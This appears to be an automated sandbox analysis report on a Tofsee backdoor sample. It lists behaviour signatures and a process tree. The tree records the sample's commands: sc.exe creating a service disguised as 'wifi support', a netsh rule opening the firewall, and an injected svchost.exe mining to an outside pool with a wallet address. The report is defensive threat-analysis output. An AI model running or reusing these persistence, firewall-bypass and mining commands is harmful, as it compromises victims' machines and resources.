Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13/11/2020, 15:59

General

  • Target
    63b79b71cb84b6ebe5708776b4834ce9e103f24f58f9f1c7f867c60be020a676.exe
  • Size 12.1MB
  • Sample201113-ftjt6wkkxe
  • SHA256 63b79b71cb84b6ebe5708776b4834ce9e103f24f58f9f1c7f867c60be020a676
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\63b79b71cb84b6ebe5708776b4834ce9e103f24f58f9f1c7f867c60be020a676.exe
    "C:\Users\Admin\AppData\Local\Temp\63b79b71cb84b6ebe5708776b4834ce9e103f24f58f9f1c7f867c60be020a676.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4052
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 556
      2⤵
      • Program crash
      PID:2192
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 684
      2⤵
      • Program crash
      PID:2684
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 732
      2⤵
      • Program crash
      PID:3040
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 752
      2⤵
      • Program crash
      PID:3192
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 784
      2⤵
      • Program crash
      PID:2832
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 804
      2⤵
      • Program crash
      PID:2580
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 956
      2⤵
      • Program crash
      PID:3592
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tguperek\
      2⤵
        PID:2716
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 1000
        2⤵
        • Program crash
        PID:1348
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 696
        2⤵
        • Program crash
        PID:2724
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jvuitdlf.exe" C:\Windows\SysWOW64\tguperek\
        2⤵
          PID:1512
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 756
          2⤵
          • Program crash
          PID:2188
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 1008
          2⤵
          • Program crash
          PID:2876
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tguperek binPath= "C:\Windows\SysWOW64\tguperek\jvuitdlf.exe /d\"C:\Users\Admin\AppData\Local\Temp\63b79b71cb84b6ebe5708776b4834ce9e103f24f58f9f1c7f867c60be020a676.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3788
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 696
            2⤵
            • Program crash
            PID:1008
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 648
            2⤵
            • Program crash
            PID:1712
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description tguperek "wifi internet conection"
            2⤵
              PID:1900
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 1072
              2⤵
              • Program crash
              PID:2632
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 516
              2⤵
              • Program crash
              PID:3916
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start tguperek
              2⤵
                PID:3180
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 1076
                2⤵
                • Program crash
                PID:2648
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 1060
                2⤵
                • Program crash
                PID:3096
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4064
              • C:\Windows\SysWOW64\tguperek\jvuitdlf.exe
                C:\Windows\SysWOW64\tguperek\jvuitdlf.exe /d"C:\Users\Admin\AppData\Local\Temp\63b79b71cb84b6ebe5708776b4834ce9e103f24f58f9f1c7f867c60be020a676.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:936
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 580
                  2⤵
                  • Program crash
                  PID:1176
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1172
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3172
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 612
                  2⤵
                  • Program crash
                  PID:1304

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/936-11-0x0000000001720000-0x0000000001721000-memory.dmp

                    memory/936-10-0x0000000001720000-0x0000000001721000-memory.dmp

                    memory/936-9-0x0000000000F2F000-0x0000000000F30000-memory.dmp

                    memory/1172-16-0x0000000004880000-0x0000000004A8F000-memory.dmp

                    memory/1172-19-0x0000000000BB0000-0x0000000000BB5000-memory.dmp

                    memory/1172-21-0x0000000000BC0000-0x0000000000BC7000-memory.dmp

                    memory/1172-20-0x0000000009050000-0x000000000945B000-memory.dmp

                    memory/1172-18-0x0000000000B90000-0x0000000000BA0000-memory.dmp

                    memory/1172-17-0x0000000000B80000-0x0000000000B86000-memory.dmp

                    memory/1172-13-0x0000000000AD0000-0x0000000000AE5000-memory.dmp

                    memory/3172-22-0x0000000003200000-0x00000000032F1000-memory.dmp

                    memory/4052-1-0x0000000002B00000-0x0000000002B01000-memory.dmp

                    memory/4052-0-0x0000000000E04000-0x0000000000E05000-memory.dmp